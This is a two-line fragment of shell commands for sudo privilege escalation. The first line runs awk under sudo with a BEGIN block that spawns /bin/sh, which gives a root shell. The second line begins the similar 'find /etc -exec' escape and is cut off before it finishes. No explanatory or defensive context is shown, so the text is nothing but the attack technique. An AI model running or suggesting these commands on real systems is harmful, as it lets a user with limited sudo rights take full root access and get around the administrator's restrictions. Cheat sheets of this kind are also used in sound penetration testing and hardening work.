sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec